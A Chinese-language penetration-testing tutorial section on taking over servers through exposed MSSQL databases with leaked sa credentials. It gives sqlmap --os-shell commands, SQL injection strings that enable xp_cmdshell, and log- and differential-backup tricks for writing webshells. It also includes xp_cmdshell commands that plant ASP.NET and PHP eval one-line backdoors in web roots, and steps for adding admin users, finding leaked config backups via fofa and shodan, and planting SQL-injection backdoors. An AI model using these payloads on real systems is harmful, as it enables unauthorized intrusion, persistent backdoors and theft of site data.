4.4 使用sqlmap直连MSSQL获取webshell或权限
在某些情况下可能不存在SQL注入漏洞,但是通过发现目标源代码泄露,备份泄露,文件包含等方法获取了数据库服务器的IP地址,数据库账户和密码,而且含有对外可以访问的端口,或者可以通过代理的方式能够访问到端口,简单点理解就是可以通过公网直连MSSQL数据库,那么这个时候就可以根据具体情况获取webshell或系统权限
4.4.1 MSSQL数据获取webshell相关命令
1. 数据库恢复xp_cmdshell存储过程、
(1) 判断xp_cmdshell是否存在
(2) MSSQL 2000版本:
(3) MSSQL 2005及以上版本:
2. 手工注入写入shell
3. 反弹写入webshell
这里的必要条件是必须知道网站的真实路径,可以通过访问网站文件出错来获取真实路径
4. SQLTOOLS工具通过账户直接连接
(1) 恢复存储过程
(2) 通过文件管理查看文件及目录
(3) 获取网站的真实路径
(4) 写入shell
5. 知道sa账户和密码,直连后写入webshell或获取系统权限
sqlmap.py -d mssql://sa:[email protected]:1433/master --os-shell
6. 执行提权命令
这里就是通过存储过程执行添加用户和密码 ,然后将添加的用户加入到管理员组
7. 日志备份获取webshell
(1) log日志备份获取webshell
';alter database dbname set RECOVERY FULL--
';create table cmd (a image)--
';backup log dbname to disk = 'C:\dbbackup' with init--
';insert into cmd (a) values (0x273C25657863.....)--
';backup log dbname to disk = 'D:\wwwroot\bmfx.asp'--
';drop table cmd--
dbname修改为实际环境中的真实数据库名称,根据实际情况更改设置路径'D:\wwwroot\'
(2) 差异备份
';drop table cmd--
';create table cmd (a image)--
';insert into cmd (a) values (0x273C25657863.....)--
';execute sp_makewebtask @outputfile='D:\www\bmfx.asp', '@query='select a from cmd'--
';insert into cmd (a) values (0x273C25657863.....)-- 这里括号里面是十六进制,可以通过Notepad++工具进行转换
8. 手工注入获取webshell
(1) 注入点判断
' and 1=user;--
(2) 创建临时表
';CREATE TABLE TTBMFX_TMP (tmp1 varchar(8000));--
(3) 查询文件
(4) 查看文件名称并获取真实的路径
(5) 文件写入测试
';exec master..xp_cmdshell 'echo test > D:\\www\\bmfx.txt';--
(6) 写入shell
';exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval (Request.Item["bmfx"], "unsafe");%^ >> D:\\www\\bmfx.aspx';--
4.4.2 MSSQL数据库获取webshell思路和方法
在实际的环境中需要根据实际情况判断,所有都是以结果为导向,通过获取数据库获取所在的服务器系统权限或者是webshell权限
1. 通过SQL查询分析器及SQL数据库客户端进行连接获取webshell及系统权限
(1) 连接数据库成功测试
(2) 恢复xp_cmdshell存储过程
(3) 执行命令
* 遍历C盘目录或者子目录及目录树结构
exec master.dbo.xp_dirtree 'C:\'
* 获取当前所有驱动器
exec master.dbo.xp_availablemedia;
* 获取子目录列表
exec master.dbo.xp_subdirs 'C:\';
* 查看文件的内容
exec master.dbo.xp_cmdshell 'type C:\wwwroot\web\web.config';
(4) 找到网站目录,通过执行命令查看网页相对应的名称和类型,获取网站的真实路径
(5) 压缩源代码及数据库
(6) 写入一句话后门
(7) webshell提权
2. 通过SQLTOOLS工具进行文件查看获取webshell
(1) 恢复存储过程
(2) 执行命令或查看磁盘文件目录及内容
(3) 后续步骤跟上面类似
3. 使用sqlmap直连MSSQL获取webshell或权限
(1) 连接测试
sqlmap.py -d mssql://sa:sa@ip:1433/master
(2) 获取os-shell
sqlmap.py -d mssql://sa:sa@ip:1433/master --os-shell
(3) 在获取的shell中执行命令
4. 查看CMS相关数据库,通过登录CMS来获取webshell
(1) 通过SQL查询分析器,SQLTOOLS,sqlmap获取CMS对应数据库
(2) 查看并获取后台管理员表数据
(3) 如果是加密数据,就进行解密
(4) 寻找CMS后台地址
(5) 登录CMS后台
(6) 寻找上传位置,尝试获取webshell
(7) 也可以通过log,差异备份的方法来获取webshell
4.4.3 sqlmap直连数据库获取webshell
1. 直连数据库测试
sqlmap.py -d mssql://sa:[email protected]:1433/master
2. 获取os-shell
sqlmap.py -d mssql://sa:[email protected]:1433/master --os-shell
3. 如果未获取系统权限
(1) 查看磁盘文件
dir C:\
(2) 获取网站所在目录为C:\www\phpstudypro\,写入一句话后门到此目录下面
echo ^<?php @eval ($_POST['bmfx']);?^>^ >C:\www\phpstudypro\bmfx.php
(3) 查看写入内容 type C:\www\phpstudypro\bmfx.php
(4) 获取webshell
4. 执行其他命令
sqlmap.py -d mssql://sa:[email protected]:1433/master --dbs
4.4.4 利用漏洞搜索引擎搜索目标
1. 搜索网站备份文件
(1) 利用fofa网站搜索web.config.bak
(2) 利用shodan网站搜索web.config.bak
2. 搜索其他关键字
www.rar, wwwroot.rar, wwwroot.zip, www.zip
4.4.5 构造SQL注入后门
1. 构造SQL注入后门前提条件
通过前面的方法获取了目标站点的webshell,然后通过webshell在网站创建文件
2. ASP+IIS+MSSQL站点构造SQL注入后门
(1) 不使用数据库连接文件
(2) 使用系统自带的连接文件